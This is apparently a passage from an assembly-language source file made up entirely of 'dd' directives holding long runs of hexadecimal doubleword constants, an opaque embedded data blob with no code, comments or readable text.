8021D4B7h, 1F1B53FCh, 3DF6B448h dd 814B0095h, 371D63CFh, 0BB339F5h, 0DC5DD300h, 41FAF49Eh dd 0E53BDCB0h, 35EF808Ah, 3D96257h, 0FD8100E2h, 20D4D80Ch dd 7C07BFCEh, 5B4368F7h, 3575F6B0h, 55D707DFh, 504DC371h dd 0C5BA3BC2h, 2E066D00h, 48227557h, 6FC103BFh, 8112E5D6h dd 5CB06BE0h, 96A87F03h, 0A03037B2h, 0FADCF52h, 65A5DCF5h dd 0E4104880h, 0BE1CB022h, 69870697h, 1F533B85h, 0CF48A04Eh dd 9AF5004Dh, 0BDA42721h, 44F6CCF1h, 2171F030h, 5C9AFD73h dd 5C07059Dh, 308DB2E6h, 0F63B4CE5h, 0C131741Ch, 647B82C0h dd 6B16C4Bh, 9C90A7D6h, 0AD3A4084h, 0B29D0F2Ch, 11C86CEBh dd 9F1B586Fh, 2F70850Eh, 8737B26h, 0F21EA65h, 2E2B9D01h dd 77D40E9Eh, 2E7EE9Ah, 7893AF8h, 0E05FB038h, 0DE4E9EB8h dd 0AD1879D8h, 0F704A0EEh, 5A6C3F0Ch, 0E850F6h, 0B0C7F92Ah dd 0CA8F5027h, 96087566h, 9C1A0BA1h, 781C5F7h, 0D0DDD476h dd 170A9E4Ch, 0A497A994h, 32D88F00h, 0E2915B22h, 6C600FEh dd 0AD0F9B35h, 0BD7EF460h, 0B1082E00h, 28C8736Dh, 1ED80049h dd 11E726E4h, 0F300A309h, 0B2231948h, 7D84E29Bh, 0A1CF013Bh dd 0F182AB3Fh, 0EE9F439h, 9E2C0400h, 14E7182Ah, 7D2F00A6h dd 0AE9D3744h, 6E00F66Fh, 28F73CD5h, 0FCC2296h, 8F29483Dh dd 1F053300h, 0B00E6F6h, 59EE9F80h, 699C14h, 121C308Ah dd 21B81D44h, 8FE05D0Fh, 0A9A68003h, 3C7E7C8Bh, 0CD3D38D5h dd 685559Fh, 8101E88h, 0C54B9600h, 0EFA35222h, 0A1700176h dd 0CC289B8Ch, 0A8618F74h, 0C2DC403Ah, 0EA854191h, 111B30C8h dd 0EDDD7741h, 64E50600h, 67E45633h, 42720CA0h, 0A678BBE0h dd 0F8F5B500h, 896B0F0Bh, 3FC203EDh, 9970CD48h, 88C0E6EAh dd 34E4EE54h, 0ECB6E00h, 2C7671BFh, 538830B1h, 84B42331h dd 98891602h, 27589E19h, 0CF726194h, 8A90816Ah, 9FF4C946h dd 19375C70h, 8C1230Eh, 31D18770h, 3DBFBBEh, 0B6C69Dh dd 2FE49AC9h, 8434C881h, 87350E00h, 0F6688003h, 0CC460392h dd 4E828D28h, 0A5113100h, 1CCF353Eh, 4AE6009Ah, 4C6255C8h dd 29000547h, 6C461F04h, 888009h, 0A8F12C39h, 2ED5B5E3h dd 6B5E9600h, 14AE24ACh, 4A773303h, 0ED93BD58h, 84F5100h dd 8DA9C629h, 9975003Fh, 6C60B4A7h, 4801386Bh, 0F4E1DCA6h dd 204E0797h, 80E98E08h, 0B69BC060h, 43F60118h, 4463475Eh dd 0BECBDC06h, 1D8AA30Dh, 9AE8E12Ch, 51A20EA7h, 38E1DCE6h dd 0F492B5D2h, 4800610Dh, 6F728011h, 0A029CCF9h, 28A6BCh dd 543D449Fh, 1F6A686Ch, 3CAB743Ah, 0CD20607Eh, 1AC4628h dd 5E1C3CBh, 9113D0D6h, 19FF849h, 4454E846h, 6E000B69h dd 14846A9h, 7B541330h, 520004ECh, 6EEDE7E1h, 6112120h dd 0A91299FAh, 1E7B209Fh, 5402F100h, 0F331BCE9h, 2C4D0159h dd 0FEBDF8E6h, 4CF881DDh, 841B1DA6h, 3D6A8450h, 929E01EEh dd 0CB3A21F0h, 5C08982Ah, 454921h, 7B4772EEh, 6193815Fh dd 1B88F11h, 7C1BAD0Fh, 6ADADF81h, 0AEC0806Fh, 754E5E0Fh dd 0B7700B8h, 0B654CD5Ch, 23005ACFh, 6B9028F8h, 97B97B60h dd 4A2DEF40h, 6385800Ch, 3AA8594Fh, 48C85E02h, 0A0D515DCh dd 40BB8515h, 63E9160Ch, 1721AAD8h, 0EE240087h, 2078ACD7h dd 9AC48085h, 2EDFA1E3h, 66D00B00h, 0A30A7519h, 6A370963h dd 0E4190181h, 23E84A13h, 46AC03F4h, 0AB925424h, 72DA0016h dd 961E8046h, 0D8A8CD13h, 0E707ED75h, 565B205Dh, 2EB106A0h dd 96F9000Fh, 47549346h, 0A63F2173h, 8C858698h, 25002B7h dd 0E79C3688h, 0A7836615h, 0D2E7EC80h, 0ECA0EB83h, 7E7A174h dd 0BEBB3D1Fh, 1BC07037h, 304FA7h, 7E60467Fh, 1D1095D3h dd 0C2BCB000h, 88E15FDEh, 309D604Ah, 80BF3E29h, 0C8C6ED24h dd 21384424h, 0F4D380CDh, 30D92991h, 0D87F4586h, 0C500FAB0h dd 0D095B2F9h, 3519302h, 0B6F8C2CAh, 8BB3C775h, 184CB154h dd 0EE4E048Ch, 6248AC21h, 84CA20A3h, 930013E0h, 0C573D00Eh dd 2ADFC54h, 16B587A3h, 0AE409215h, 0E4A83A81h, 0F307140Bh dd 10037973h, 3BF9E8C0h, 0B1E26013h, 0ECBFA8F0h, 2C44F3Bh dd 7B621A43h, 1DC09FE5h, 9802135h, 0E01AC97Ah, 707903D3h dd 0CD4A5C6Dh, 28868031h, 0D1A6B71Dh, 67300EDh, 0B66FE9BAh dd 5CABD000h, 5DF51858h, 2D5200EBh, 6914F173h, 7746803h dd 9C877CB0h, 50675D44h, 0CDFEC0Ah, 127D5A00h, 18DC0749h dd 0DA5924E5h, 21DB9250h, 3045F0E8h, 753C6BC0h, 7017007Dh dd 84307B4h, 936804FDh, 88AE65F9h, 83071F88h, 3779A19Dh dd 0BD858731h, 37E2C66h, 0A8CDA749h, 99C06B31h, 3E5CC64Ch dd 0C0210120h, 4460B1E8h, 784FDC50h, 0E2A100D1h, 53208E92h dd 0DF3B61C6h, 48540FF6h, 5AEC080h, 3C9ADBh, 82941609h dd 92146B32h, 1518C377h, 0B1405D1Ch, 37C53190h, 0C4B8C958h dd 5E0070CCh, 7B1491D4h, 3EDBFF29h, 0D62A71D3h, 57F00384h dd 7F642F2Bh, 5518B400h, 38B9585Bh, 29A40773h, 0E40F6344h dd 88B49105h, 1FC1EB6Bh, 83118190h, 0E7D65460h, 0E633A440h dd 5C9EFE07h, 0BA50781Ch, 0B0960142h, 36AE4782h, 57388197h dd 816D0713h, 1C0DB970h, 802C8021h, 5C9FF2F5h, 183D8BAEh dd 8A3B87D3h, 0F4A2E23Ah, 10209CBCh, 0C22FDF94h, 64086A8Ah dd 0ACB11CB8h, 1324FCA9h, 0EE3FC228h, 36407161h, 5722A4h dd 0B9E3671Fh, 3229D153h, 0F6995A01h, 0D7D324D2h, 0EDD80825h dd 53AA006Bh, 8931AF6Ch, 8088111Dh, 8A4200CCh, 0D58D692Fh dd 0F03DEF77h, 5D5E00EBh, 8B85EA17h, 60AA0096h, 0C8DAA47Ah dd 882AEF2Eh, 9402D0D5h, 0DAF3EA1h, 4FB0802Fh, 5C5A08A0h dd 7A1E0CB4h, 2EC71FFBh, 0E26B004Ch, 0B25C5BC8h, 6A3880C4h dd 4F9F6CC0h, 0EA350F45h, 3F81A384h, 8C2EC4CFh, 0C98ADB50h dd 0B71051EEh, 4CF8B800h, 99E0015Ah, 0DD79E9FFh, 0E71881CEh dd 19398505h, 0F2F7B447h, 80CB3887h, 37107B94h, 0FA28C0CDh dd 0E4ADE62h, 403B3076h, 6B18E151h, 24229AB1h, 3049629h dd 67ADCAAh, 892F7F89h, 7735D8h, 0CF466B6Ch, 11101312h dd 0AD6C005Fh, 89666D2Ah, 3F78E349h, 207B9E4Fh, 0A0208424h dd 87007571h, 894C98DDh, 16986AAh, 7B7E55ADh, 50018012h dd 0F81F0528h, 58904879h, 896BC080h, 93FB98C2h, 14BCC41Dh dd 5C45DE92h, 0AE2400DFh dd 41857CF8h, 10137B0Ch, 10E75979h, 404B5755h, 8071B90h dd 4A19316h, 0ED84DA84h, 345A4805h, 7C224C84h, 0AF84B184h dd 0AA3E5C22h, 0F1201019h, 7340E8BDh, 0A0843B50h, 8925B7Eh dd 540AC479h, 48ED8F13h, 85A35A11h, 4868CC31h, 0B0D507B1h dd 36CC9A4h, 0CE850B69h, 717FDAE0h, 81E50830h, 0EC8A1F6Bh dd 0F818A179h, 30FB6D0h, 38937ADh, 0A1142FB7h, 1C7071h dd 0EBBB0712h, 2A0DAED5h, 0ACC7ACCh, 0D9278596h, 0B9A9808Ch dd 0BA2F3408h, 2A304758h, 0C3C84EEh, 0CCAE0085h, 42FA73A3h dd 0F2090F8Fh, 8300A13Fh, 0B8F71102h, 0DA103460h, 3EE3E5AFh dd 29023D71h, 0F74EBB81h, 28063489h, 0AD00C156h, 0AFAB01A4h dd 558F15B1h, 0F801A08Ch, 58BA29F8h, 5F016449h, 0EB97B918h dd 0B79889EFh, 550C2331h, 0C8CE88CDh, 2ADD48E3h, 40206112h dd 0E6F9F158h, 0D105294Ah, 0CEAAAD31h, 622D780h, 0EA103A2Ch dd 0A33893ACh, 22FE440h, 38DDE13Fh, 0C804CF74h, 589DF3A3h dd 2D620E0h, 0F78DDE06h, 88EA2684h, 399BAC06h, 54631528h dd 44E610C6h, 6C0B120h, 3832E209h, 854AD30h, 0B8ACE6AAh dd 70D0AA4h, 87A4BD10h, 99E405F3h, 0EDC21093h, 32D80C82h dd 18515A11h, 0E001354Ch, 36918E38h, 6E37C0B3h, 174529D8h dd 40E3CCD0h, 0AE8FDF6Ch, 5B009EB2h, 34B51D09h, 1308AB64h dd 1401B53h, 481E1678h, 74A2D504h, 9F882D4Ch, 57F34C81h dd 424BA900h, 3FB666ACh, 85D579C0h, 16C02AB4h, 721FA29h dd 5053AF63h, 0BE11A32Eh, 0E4223200h, 1F871259h, 9AE8DDh dd 0F3BD0151h, 23187458h, 0D828EA00h, 90EF92A6h, 2EEC9AD9h dd 0BE406FBEh, 0C0EDC59Fh, 9CE5F6AEh, 6E1766B2h, 7E0FF53Ch dd 0A476A05Dh, 3A5699h, 0BE38C8BDh, 0B3EB2366h, 1DAA7A00h dd 52A51273h, 0DEAE26EEh, 0A223804Ch, 9A26206Ah, 0C0044C01h dd 24CE0E78h, 9832B6F8h, 0E0102536h, 9FB9C81h, 2B282481h dd 4DD5EC50h, 26D7E02h, 0A015C6A5h, 0E5C13698h, 0EA54000Bh dd 81EFCFA4h, 0E40ABC03h, 9C05B473h, 8B5C4780h, 8FFF8Eh dd 398159B9h, 511DB863h, 3EF5DD00h, 0DAD7EA1Fh, 985E0F3Bh dd 0A2C034A9h, 7F059022h, 12EFC200h, 524AE823h, 2F1E0266h dd 0B87346B5h, 6DAAA6E0h, 0CB5A7F00h, 9965150h, 0C90403D6h dd 0B47E16B9h, 0E455A7D1h, 0D002715Ah, 94506D99h, 0C12CC034h dd 212707E2h, 0C3F4D4F8h, 0ABA8754Fh, 0BF0757B9h, 122679Fh dd 0BC07EFF0h, 48B803CCh, 7CA01C5Bh, 19D19906h, 40FF75h dd 942E6715h, 89275A56h, 6AF54E00h, 0EB18922Ah, 11C600BCh dd 4890429Ah, 0F0E0B5EAh, 0AC25071Fh, 7E000D50h, 4FAD78B9h dd 7600E887h, 0EC29ED02h, 0A5ED412h, 0D50706F9h, 0F4D601F9h dd 0D3203C1Fh, 2213881Ch, 97DFD3C0h, 0C092C8AFh, 6C177318h dd 0D60C8BADh, 3CDECCFFh, 1EDC07C0h, 0B6033798h, 0D40740F1h dd 0EA086143h, 0C3031097h, 0CFF9E0FEh, 4FE40090h, 0D3B73195h dd 0B438D87Ch, 96F28027h, 9079C9E3h, 9E4A00FDh, 0AAE018FCh dd 4FFAB649h, 3470460Fh, 525701CEh, 1120BF99h, 754E7E2Fh dd 0DCF6008Fh, 674A7FF0h, 0BB64D8D2h, 0EA2EB409h, 90B70F00h dd 0B343B255h, 2A00B57Ch, 8B07234Dh, 74AC4CE9h, 523C00A0h dd 0B202D10Ah, 0D2032FB9h, 0C24476C1h, 0F828113Dh, 7BA611BAh dd 3C28ED11h, 0A084C413h, 4057F228h, 724561D8h, 2134B243h dd 86081028h, 0D6958850h, 3AA5384h, 0CA475C08h, 3C4994B8h dd 51E7D918h, 3F88ADC8h, 7DA1C401h, 0B9EE4673h, 81942229h dd 0D47B2A10h, 1175F111h, 0A0108D03h, 96E300B7h, 2A4B91D0h dd 5DE700F3h, 0FDD74DDDh, 7C122B88h, 1FBFAF32h, 4AC84097h dd 38E7780Fh, 7DD02307h, 0A30DF6Dh, 0B33A08h, 0C820363Eh dd 0D7C9AE11h, 438D9200h, 9489A477h, 167101B6h, 80B93AEEh dd 242FE46Bh, 0AB658800h, 48223DB8h, 0FBC8FF06h, 9F21001Fh dd 3BBDCADh, 71003B5Ah, 0A16BD952h, 8062F5h, 0E45FDDDAh dd 0F8230B31h, 84948h, 1413220Ah, 0E6808C4Dh, 66A50FADh dd 0C56746E2h, 74C92072h, 700F8A90h, 0D934C3h, 5B2EEE5h dd 2F9D0F29h, 51613F67h, 30718291h, 7948AC9Bh, 0CA007334h dd 0C71C53FAh, 739CE7C3h, 0E45B0099h, 30A7AA87h, 0E200DA45h dd 0A7C03B1h, 748F5E3h, 1BED1909h, 0F898A1E6h, 5D0EC015h dd 1E81F100h, 7ECD08AAh, 3D32003Eh, 75AF54CEh, 831C1958h dd 0BC018F2Bh, 0BD72CCF8h, 0FEF4FBE9h, 288E008Dh, 0CF5E27DDh dd 0BB00BA94h, 9747AF4Fh, 6F8051h, 57935D46h, 34766D10h dd 4FD81F00h, 9568A07Bh, 0BDFD0727h, 0C9D13B94h, 14C4001Dh dd 0D0F69C60h, 440FCF7Bh, 0E0561D33h, 54B0D9F9h, 4B070074h dd 0D3AFBEA4h, 0E7009801h, 15027189h, 50EFF7Fh, 0A98ACD8Eh dd 0FEC403Fh, 0D3A05F3Bh, 36D1E500h, 196644C2h, 1F4EE39h dd 47A8CDFCh, 81351703h, 0F9AB9098h, 0B5F0A653h, 5AAF3E23h dd 0A9431C8Ah, 0F6903AF0h, 48ED1C7Eh, 938EE780h, 5A6DFA8h dd 0E45AAC99h, 1A8900CDh, 36C81CF0h, 0ED20CA00h, 1F32FD8Dh dd 0B8C20763h, 0A05FACD9h, 600255ADh, 5676A400h, 87862939h dd 5CBD004Eh, 9A16FB31h, 8B0055DFh, 38CF3D28h, 0B1894Ah dd 4F9DB423h, 0D2ED09BBh, 4DC71F02h, 807C05AAh, 0E8C3C2FCh dd 0D56C00CFh, 6E9344Ch, 5300950Bh, 0B2048279h, 6080CCD8h dd 1FB418EBh, 55EEAABFh, 0F65AED00h, 0ABFBEFD9h, 7B6F00C4h dd 3B02E492h, 4548D84Fh, 3E0C07ACh, 0A1A03709h, 799E312h dd 3677DAECh, 274E80CEh, 44F8E474h, 0B3228F00h, 433C82E0h dd 360B39F2h, 0FF68BF01h, 7011C7CDh, 62B8DFFDh, 14FC1A00h dd 563A092Ah, 3C85008Eh, 0BB7390C1h, 8C1C297Dh, 5A001674h dd 259B7BBEh, 580701B4h, 91B2DF15h, 8FAE408Ch, 0ED0F0F3Bh dd 0DCB0C3D6h, 3AD24E00h, 50021Fh, 71DE5AD0h, 62AF733h dd 0A48A3400h, 0AAB2891h, 29DA0197h, 9C0CFD1Ah, 0C3D9EC4Fh dd 1071E400h, 0D1F9BB03h, 0EC923Bh, 0BD213617h, 0B6BF05C7h dd 0A000F17Ch, 0FB80D11Dh, 4A0731h, 983A9301h, 6E94190Eh dd 32C27E00h, 0AE22DC3Ch, 45680536h, 1A53EA7h, 0F73819FFh dd 824430A2h, 0B7F6570Eh, 6E70E0B1h, 0AB454Fh, 0D2B69554h dd 0C38B9329h, 0C4BCF800h, 98CB9774h, 70110063h, 0E3776282h dd 4A00BA20h, 0AED3893Ah, 0FAD4ACh, 7DB61642h, 11E9EEFh dd 50F77200h, 2B264F1Fh, 0EC9439E1h, 0CAC55F03h, 0BAA1158Fh dd 63B4419Fh, 0E9CDC0C1h, 0C7189D00h, 6A410E6Dh, 9DF00D9h dd 0B4F64C43h, 0A5EC2AF8h, 8000DCFAh, 0CBBF1AF3h, 3ADAB8h dd 0C38EA2C1h, 6D8F7771h, 0FCA0C000h, 0DB0280Ch, 3A7F89h dd 3E088436h, 0FBE98C06h, 5B1E19ECh, 9E01DD16h, 41EB2F63h dd 2EB4CCh, 350BA9BEh, 0B531193Ah, 5A005B74h, 5348E682h dd 0F395F2h, 6152F5A3h, 100CD431h, 390B9700h, 0FB670F48h dd 5DB11E91h, 8D00FC51h, 0C6AC9A1Dh, 38C0F032h, 17FD958Fh dd 405C0012h, 0A40BDBABh, 0D807F325h, 0A72C1911h, 930E6FB0h dd 9022EC5Ch, 7F25002Ah, 0F621E490h, 1807ED2Eh, 3EE53D49h dd 0D089F823h, 0F4454BDAh, 78DF8F1h, 0E8FC118Ch, 0F04260D7h dd 0DB00B882h, 0A848B113h, 799B6A87h, 0BFC00BEh, 0E2816CFBh dd 0D00450Eh, 0F7854938h, 39B4222Fh, 5E00CC13h, 959AAF98h dd 0BD7C1E4Fh, 2FEFC91Fh, 0CAF94A80h, 7B6F0C48h, 0A48C0085h dd 18C7E901h, 6B38EB6Dh dd 0E64700FDh, 381FDC93h, 0D0C350F0h, 91CB0078h, 98E4C28Fh dd 12393B27h, 45A4802Dh, 7005C4DCh, 0DAC01ED6h, 75B6005Bh dd 21F98151h, 8CAD7C00h, 7AAA8369h, 2B7920Ah, 0D83DE201h dd 204048CBh, 92C0356Ch, 0EB8CE608h, 98FB0086h, 0A20342D5h dd 0E10B4D97h, 20817E4Ah, 602D7468h, 830B011Eh, 16C75BDh dd 369FF41Ch, 16FFEB00h, 0C7E8F43Eh, 24877AF0h, 1298CF58h dd 0A2AC0085h, 6E4DC0EDh, 280E1400h, 7EE0F3BEh, 7DEB00FDh dd 2970AE90h, 0FB0003E2h, 0B745D7F7h, 0F22CD0Ah, 0A59782E6h dd 13CC0BEh, 60449BC6h, 93A30F0Fh, 5D64C020h, 6A0B4Ah dd 0E829EE5Ch, 518E30D9h, 5E002D7Ah, 62E78481h, 3F97870h dd 8FEC2054h, 33809371h, 370002F3h, 2C4E32E4h, 708C77FCh dd 1F10001Bh, 0CC367E65h, 2D26A8D9h, 0D7002843h, 0BD622E5h dd 66E74C3Bh, 0E9C22B00h, 0DBD1CCAEh, 112E3Eh, 79F49247h dd 850B80h, 6663B106h, 0F628F2DAh, 595E8400h, 3D41B2A7h dd 20E730B5h, 0C9C7DFB0h, 0C86BB805h, 41C16E3Ch, 50E4FF0Ch dd 0E9E2CBh, 271961ADh, 0BF38C5D4h, 80ACE33Bh, 0CA32B2BCh dd 4AFEA4h, 0D38DE620h, 3DEDC0E2h, 6BB83375h, 0C300607Eh dd 4910C57Dh, 5DC539Dh, 9E036CC6h, 6590C0A4h, 8C1F3076h dd 3B07523Eh, 0A3E1F7AEh, 0C23036DFh, 188E0149h, 34832FBFh dd 485CEC95h, 2C8CC426h, 0F5A0073Eh, 9A909028h, 0CF5713h dd 810296A3h, 957518BCh, 2C51EE00h, 538F8604h, 79FC0021h dd 42BC9026h, 55003527h, 0B2089FCCh, 0B4D22Eh, 0DD170967h dd 783D5D8Fh, 0C266B100h, 73468357h, 75072D2h, 10388CC0h dd 0C481297Bh, 70A51301h, 832EC7C9h, 40009CDCh, 3B7F6CB4h dd 0FE4100B7h, 8F7A51FCh, 0CF00C6E9h, 0D975B2F4h, 571562Ah dd 4F8ABA8Dh, 59F8009Eh, 0F958D8C1h, 84002F7Ch, 86FA5D7h dd 72EA3F3Bh, 177F01h, 946D7E54h, 4D7BFD43h, 0A49A902Eh dd 7980EF1Fh, 0D5CE0353h, 0BB4712D2h, 0B940180h, 0C7C1FF8Ah dd 0C08CA0B4h, 0A27930Bh, 78BC80E1h, 4A983E19h, 0EE6840C5h dd 879AABE8h, 0AC266712h, 0E440A300h, 1F86CCDBh, 0CAAEA1h dd 0FCD36851h, 20FF1887h, 0C496196Bh, 0D82029A4h, 0C91E3E02h dd 4011F994h, 1FE96C3Ch, 0C0E1B447h, 2F45DF9Ch, 50033966h dd 10D1F2A1h, 0AA80F067h, 9FC2091Eh, 0D0003548h, 0C6B8C06Ch dd 87423F00h, 0EA183B2Ch, 357E0FCh, 729F90A3h, 807525EEh dd 76A8CB00h, 15E4CF5Fh, 0BFB0A828h, 0F256173Eh, 0FE800A2h dd 354D0916h, 13E0B53Bh, 80006964h, 2D53B3C6h, 0A42C0FD3h dd 0EBC006E2h, 54F8A782h, 0CF2C501h, 0B148B7CCh, 3A7F6870h dd 0FA1E64h, 19094144h, 0D6DCC76Dh, 0B4A64D12h, 2084854Eh dd 0ECA4600Eh, 76660F36h, 0B601A5Ch, 0A5F2833Dh, 11B74402h dd 60718869h, 16556CA2h, 0B8ACE070h, 621B18F4h, 0DCBA10h dd 6D54EC4Eh, 0B21FC058h, 7CEB3Ah, 0BAED0E4Ch, 88B551h dd 0B4D8D3CCh, 632D78E7h, 9600E8E6h, 1345B739h, 0E28E2DBh dd 0A1FEE1A3h, 0A5B04C20h, 31073B59h, 136D958Eh, 892E8AF1h dd 1200DE0h, 216AA1EAh, 60C13FACh, 562E3C1Ch, 9601A073h dd 0D4429C81h, 12177C8h, 507BC80Fh, 45F4973Ah, 0B7C0AFFCh dd 90BFD0E2h, 0D3F50034h, 0B683EADEh, 7D76083Ah, 0FB174000h dd 1EE0B266h, 0F9EB0047h, 6E55DC5h, 43003F44h, 0D89FDD32h dd 28C9C2h, 0EA64F0C6h, 67B5851Bh, 2EFD400Eh, 0A8E0608Bh dd 0F66BDDh, 9846B9DFh, 8F52A1C7h, 38290E0Eh, 0A457C0CFh dd 0F02009h, 0AB186F8h, 9C8FDF93h, 0BF03F894h, 0A02F95ECh dd 8D318Eh, 6B0CE9B6h, 8B7E501h, 0DAE77B00h, 842CC8D4h dd 34BD00C6h, 0AC786410h, 890069B2h, 3215A4DBh, 0F86DE12h dd 108F1F2Fh, 0A06B41A0h, 2C009B2Ah, 5AEB65D0h, 0A0E353B4h dd 98DCDFD8h, 0AC6450CCh, 7DAF0021h, 0AD1A43D2h, 8D0098DDh dd 0A6F5184Fh, 0B41387h, 9531C608h, 2EF8BCEBh, 7CE7A100h dd 0B3590265h, 13041428h, 5409D8C7h, 784B55CEh, 0BBAF1A80h dd 5FB2D71Eh, 59009457h, 0DFB67365h, 0DDE62C12h, 1F24F8h dd 22CCFA8Eh, 650080EBh, 0C61F7E0Fh, 7EE4557h, 8B3FF937h dd 68D7D01Eh, 6101B070h, 9BD1C036h, 0F0EFEBEDh, 0A0F89E1Bh dd 1242C3ACh, 0E0CFFCh, 0A3E6240Ch, 1C9A0EC2h, 4F521D00h dd 0B6194B70h, 9E210972h, 0E00E9C44h, 3B367740h, 39391669h dd 0AC2292EDh, 0F57D3040h, 32A16Ch, 0A8441E24h, 0E657846Eh dd 25223A0Bh, 2DD780CEh, 0E524F4h, 9B78D64Fh, 7A766EE7h dd 823D9C00h, 902F81A0h, 6046001Fh, 0AE9A1701h, 0C101FDF3h dd 4752F0C9h, 0FEC5B8E1h, 0B7CBCD8h, 934FD99Fh, 686B9800h dd 4400D4DDh, 65DA8B96h, 28491F74h, 0ECD117h, 0FF8998B3h dd 35018FCDh, 0F17E0307h, 39F0E954h, 59E3ECh, 2381B9E6h dd 822C68D4h, 6000CAEAh, 8A4056FDh, 1E79233h, 0BCF4B453h dd 0CBD03Dh, 2EE2EED8h, 0B46D70h, 0F85B98CDh, 7800D1F0h dd 0CF434E77h, 122B97DBh, 434CEFE1h, 0B71B6734h, 518F3BC0h dd 746CF100h, 32ED3F61h, 0B817023Ch, 4BDD62Dh, 65C2C040h dd 4109D7ECh, 6D08EAh, 0B7D5FB92h, 0A6A43A31h, 4B12AA00h dd 29E562FFh, 9F7ACE00h, 91B240Fh, 194D0099h, 0BE20C1F3h dd 6500B3DEh, 7F7CBFCFh, 0C60EF7h, 0B31B477h, 68809D29h dd 0F4DC721Dh, 0E78BDB00h, 0E74BE7Eh, 69AE25EAh, 0B5C0D16Ch dd 0AB801400h, 7E943509h, 0A6612CF3h, 59A30478h, 4EB6801Ch dd 8002857Ch, 0E1D89B8Ah, 81F840AAh, 0FB6E00EEh, 0B90BC358h dd 0F7000A0Ch, 679CF27Fh, 0F6FCD291h, 0ED5800FAh, 0FD8D2C3Ah dd 1600228Fh, 750BF7B2h, 7D4E1292h, 519C00BBh, 96233882h dd 0B50171EBh, 0D984D44Dh, 86083A4h, 6376B2h, 0BC240D6Fh dd 0B7215516h, 0B4A3Ah, 0D85349EAh, 1212972Bh, 59A57C0h dd 728B84h, 0E6819BE8h, 0EC00BB51h, 28181CB7h, 788437F5h dd 39890EFh, 334712D1h, 3FC0E48Eh, 6100712Ah, 6E66839h dd 4923Ch, 90DF6D09h, 79321BDBh, 7C690C0Bh, 99C58035h dd 0FCDD25E4h, 0C9F700F9h, 0CA0D5747h, 370484C8h, 8B8F2D9Fh dd 0E3B3B0C0h, 0C00C9211h, 3F1966C4h, 0BE2E59EEh, 3F089Ah dd 4F4E334Ah, 344F42Bh, 0C4ED1903h, 0A1C82743h, 0E7018775h dd 93BFD7F6h, 5284FA3Fh, 0C0A39171h, 889EDC00h, 80D2D00h dd 3F4B5FECh, 9B84Ch, 0E9BF2248h, 90DA12DEh, 0BEF240Eh dd 9BCA2038h, 1F5A9408h, 0CC91CCF6h, 0F821FA88h, 0EA288900h dd 7AAB3818h, 3CE60A08h, 0CC458Ch, 0A70E10EEh, 0C30E21F4h dd 20233F11h, 9C990AADh, 0A32C0056h, 0E3AA4C1h, 6C002894h dd 3BD8DB8Ah, 7583BA08h, 0E53900AAh, 5F5A0652h, 0DF05EB51h dd 0CF57169Fh, 80D35082h, 925DD2A4h, 142F0055h, 0A84BD5ADh dd 0CD02EF5Eh, 4288D0FCh, 0C96840D7h, 669A0ED1h, 9DC7EC10h dd 4318201Ah, 96003A0Dh, 0ABAF92BCh, 24E7DFF8h, 0EEC4521h dd 0D5A06E8Ch, 69E2D4Ah, 0B207C001h, 4FB68FEh, 0EEB5C4h dd 0BD933A51h, 35C4CFC5h, 20B62502h, 0A0329601h, 0EE2DB994h dd 0BE341D14h, 2109003Ah, 43849C02h, 0C537A017h, 3CFFA840h dd 265B6DCAh, 6C2B10h, 0B6AB5683h, 4C1F1746h, 93804F29h dd 2E696F02h, 282C008Ch, 83B41889h, 1F00DF49h, 31AA8F21h dd 1CC597h, 539C2A73h, 7664F851h, 0DA8E3Dh, 0AE796624h dd 759EEC1Fh, 407A07CBh dd 0B7DFFE8Dh, 0CE5590A3h, 871E3CEDh, 7E8A03h, 4B992F2Bh dd 140DABh, 0CB0B395Ch, 933BC23Ch, 0E8F26C06h, 188791h dd 0E7552D52h, 577BFAB8h, 603AC412h, 4FE4BC01h, 386094D9h dd 255B2889h, 58F27A90h, 0C803A65Ah, 0DFA127D5h, 2DCC40EDh dd 9D7F231Dh, 86DAB130h, 728D7E4h, 0ECAFA88Dh, 51CC20BAh dd 223DD5E3h, 680C14B4h, 54F30E89h, 0C5A1E090h, 3DC15B0h dd 0FD09C8E5h, 0F498E4CBh, 98006583h, 5E067C70h, 9EA46Ch dd 94EF5667h, 9960484Eh, 0DC32001h, 19C40CE2h, 9A6F8FC8h dd 0E739001Ch, 787195FFh, 80056FBh, 23F3048Dh, 1F765Ch dd 0F164518Ch, 0A9854DE1h, 3B68713h, 168D4C00h, 6ABC49Fh dd 1BF24486h, 1074185Ch, 91144200h, 7E0A409h, 9360000Ch dd 5B71ACD3h, 2B5804B4h, 59050028h, 8A6B5602h, 9470AAh dd 8BF5D3Ah, 28B0A919h, 60CB5C12h, 6C8CC401h, 10742DD7h dd 2D32824h, 71231FB9h, 0E648C7FBh, 0DD0DA095h, 0B60074E5h dd 622E5A3Bh, 6685CDh, 45FFC256h, 81F0A2F1h, 15DC0F00h dd 0DFCCA8B1h, 6AF8000Ah, 243DD6FAh, 900AA95h, 631FF20Dh dd 3D774742h, 3580807Dh, 0E25520DDh, 580EF882h, 0A0A65108h dd 0CFDCC18Eh, 37571BEh, 8FA02B21h, 0DF98FF42h, 849052BBh dd 8B3E2770h, 34585Bh, 112A0148h, 1B57C1Dh, 927E8041h dd 0E465263Fh, 0A900DC81h, 6023177Ah, 1CBC040h, 8C07CA3Ah dd 3087431Bh, 8E01B3DEh, 0D5C3CE86h, 78783CD9h, 4644FF03h dd 0F4CBB79Ah, 0A31080C4h, 0D53CB663h, 19730085h, 0E778D4Eh dd 0BB450095h, 0F2C0E536h, 0F5F8D0FDh, 0D80D2E03h, 0E0E91A7Eh dd 0E69A0C7Bh, 3877C92h, 2110744Eh, 12E87CE1h, 0B75C8E54h dd 0C9007151h, 0A45BA9EFh, 4BA69Bh, 33AAD6BBh, 79CBD769h dd 3D02609Eh, 69E24F7Ah, 9330982Ch, 0CEC60043h, 604AE3C0h dd 31005D61h, 6963D9C2h, 1E42836h, 9A5A213Dh, 0CCE7859Fh dd 7B7A97E1h, 37EC31F0h, 8D74730Ah, 3401BCAAh, 4D9D6817h dd 80D76B03h, 1BBFC830h, 0DE6A5000h, 0FE62ACEFh, 1C3AFA81h dd 786EE186h, 8C02C100h, 87DD750Eh, 9C1FB801h, 0A45FFE1Ch dd 0E8D68670h, 0F2302879h, 2C4F00BCh, 33774325h, 3890B3A7h dd 0EFD92B04h, 10C09772h, 0AFBE16h, 9E521A51h, 0D5DDEBF6h dd 850026E4h, 0A48F3212h, 5BD0EA03h, 288C00A3h, 0D5CFB0CDh dd 70F17DFAh, 3B4EBFC4h, 121BC38h, 3154294Bh, 0E84E9810h dd 394E8AC8h, 0ED926000h, 4B9084h, 52A5A418h, 